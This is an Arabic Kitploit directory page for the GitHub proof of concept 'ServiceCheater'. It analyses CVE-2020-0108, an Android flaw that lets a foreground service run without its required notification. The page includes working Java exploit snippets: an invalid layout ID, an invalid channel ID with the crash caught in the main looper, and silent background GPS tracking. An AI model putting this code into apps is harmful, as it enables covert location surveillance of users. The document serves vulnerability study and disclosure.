Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/crackercat/servicecheater
أمان أندرويدتصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقأمن الجوال
GitHubcrackercat/servicecheater

ServiceCheater

إثبات المفهوم لـ CVE-2020-0108

عرض المستودع
11112منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-0108 تحليل ثغرة رفع صلاحية خدمة المقدمة

١. خلفية الثغرة

  • في تصحيح AOSP لشهر أغسطس ٢٠٢٠، تم الكشف عن ثغرة في طبقة AMS، برقم CVE-2020-0108، بتصنيف عالٍ (High). وهي ثغرة منطقية في معالجة الخدمات الأمامية في AMS. يمكن للمهاجم الذي يستغلها بنجاح تجاوز عرض إشعار الخدمة الأمامية والاستمرار في العمل في الخلفية. يتطلب الهجوم تطبيقًا ضارًا محليًا، ولا يحتاج إلى تفاعل المستخدم. إذا منح المستخدم التطبيق صلاحيات أخرى، فقد يتسبب في ضرر أكبر، مثل تتبع الموقع باستمرار أو التسجيل الصامت.

٢. تفاصيل الثغرة

  • الخدمة الأمامية هي مفهوم قدمته Google في Android 8.0. نظرًا لأن Android 8.0 لا يسمح ببدء الخدمات الخلفية من الخلفية، فقد تم تصميم مفهوم الخدمة الأمامية. للخدمة الأمامية أولوية عالية ويمكنها العمل في الخلفية لفترة طويلة، لكن يجب ربطها بإشعار خلال ٥ ثوانٍ من بدئها، وإلا سيتم قتلها. في الواقع، الخدمة الأمامية لا تزال تعمل في "الخلفية"، لكن نظرًا لربطها بإشعار مرئي للمستخدم، تسميها Google "الخدمة الأمامية".
  • لهذه الثغرة طريقتان للهجوم، تتوافقان مع ثغرتين منطقيتين.
  • الثغرة الأولى هي في طريقة onNotificationError في NotificationManagerService، والتي لا تعالج الحالات الشاذة في عرض الإشعار بشكل صحيح.
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
        cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
                REASON_ERROR, null);
}
  • في هذه الحالة، بعد بدء الخدمة الأمامية، حتى إذا فشل عرض الإشعار بشكل صحيح، لا يؤدي ذلك إلى إنهاء الخدمة الأمامية. على سبيل المثال، عند استخدام تخطيط مخصص في إنشاء الإشعار، وتمرير قيمة resID غير موجودة عند بناء كائن RemoteViews، يفشل تحليل تخطيط الإشعار في NotificationManagerService ويطرح استثناءً، مما يستدعي طريقة onNotificationError. نظرًا لأن طريقة onNotificationError تستدعي فقط cancelNotification لإلغاء الإشعار، ولا تقوم بإنهاء الخدمة أو التطبيق بالكامل، تستمر الخدمة الأمامية في العمل دون عرض إشعار.
  • الثغرة الثانية هي في طريقة postNotification في ServiceRecord، والتي لا تعالج الحالات الشاذة في عرض الإشعار بشكل صحيح، بل تطرح الاستثناء إلى برنامج المستخدم.
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
    final int appUid = appInfo.uid;
    final int appPid = app.pid;
    if (foregroundId != 0 && foregroundNoti != null) {
        //...
        ams.mHandler.post(new Runnable() {
            public void run() {
                //...
                try {
                    //...
                } catch (RuntimeException e) {
                    Slog.w(TAG, "Error showing notification for service", e);
                    // If it gave us a garbage notification, it doesn't
                        // get to be foreground.
                    ams.setServiceForeground(instanceName, ServiceRecord.this,
                            0, null, 0, 0);
                    ams.crashApplication(appUid, appPid, localPackageName, -1,
                            "Bad notification for startForeground: " + e);
                }
            }
        });
    }
}
  • في هذه الحالة، بعد بدء الخدمة الأمامية، إذا قام برنامج المستخدم بالتقاط الاستثناء في الخيط الرئيسي، حتى إذا فشل عرض الإشعار بشكل صحيح، لا يؤدي ذلك إلى إنهاء الخدمة الأمامية. على سبيل المثال، عند تمرير معرف قناة غير صالح في إنشاء الإشعار، يطرح الاستثناء عند إرسال الإشعار في طريقة postNotification في ServiceRecord. في معالجة الاستثناء، يتم فقط استدعاء طريقة crashApplication في AMS لطرح استثناء في الخيط الرئيسي للتطبيق. لكن إذا قام التطبيق بالتقاط الاستثناء في الخيط الرئيسي، فلن ينهار التطبيق، وبالتالي تستمر الخدمة الأمامية في العمل دون عرض إشعار.

٣. التحقق من الثغرة

  • الثغرة الأولى، يمكن تشغيلها باستخدام الكود التالي في الخدمة الأمامية
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
//  Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setCustomBigContentView(remoteViews)
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(1, notification);
  • عند إنشاء كائن RemoteViews، قمنا بتحديد معرف التخطيط -1، وهو بالتأكيد قيمة غير صالحة. هذا يؤدي إلى تشغيل استدعاء onNotificationError.
  • الثغرة الثانية، يمكن تشغيلها باستخدام الكود التالي في الخدمة الأمامية
//   Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
    @Override
    public void run() {
        while (true) {
            try {
                Looper.loop();
            } catch (Throwable e) {
                e.printStackTrace();
            }
        }
    }
});
//   Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(2, notification);
  • هذه المرة لم نقم بإنشاء كائن NotificationChannel، بل استخدمنا معرف قناة غير صالح مباشرة لبناء الإشعار. هذا يؤدي إلى تشغيل استثناء طريقة postNotification، ثم نلتقط الاستثناء في الخيط الرئيسي، وبالتالي لا ينهار التطبيق.

٤. تأثير الثغرة

  • باستغلال هذه الثغرة بنجاح، يمكن للتطبيق الضار تشغيل خدمة أمامية عالية الأولوية في الخلفية بصمت والاستمرار في العمل.
  • التأثير الأكبر هو أن التطبيق يستخدم صلاحية الموقع لتتبع المستخدم. نظرًا لاستخدام خدمة أمامية، حتى إذا تم اختيار "السماح فقط بالوصول إلى الموقع في المقدمة"، يمكن تتبع الموقع في "الخلفية" دون علم المستخدم.
public void refreshLocation() {
    LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
    String provider = LocationManager.GPS_PROVIDER;
    if (!checkPermission(Manifest.permission.ACCESS_FINE_LOCATION)) {
        return;
    }
    locationManager.requestLocationUpdates(provider, 2000, 10, new LocationListener() {
        @Override
        public void onLocationChanged(Location location) {
            double lat = location.getLatitude();
            double lng = location.getLongitude();
            Log.i(TAG, "Location Update: Latitude="+lat+",Longitude="+lng);
        }

        @Override
        public void onStatusChanged(String provider, int status, Bundle extras) {

        }

        @Override
        public void onProviderEnabled(String provider) {

        }

        @Override
        public void onProviderDisabled(String provider) {

        }
    });
}
تنزيل الأداة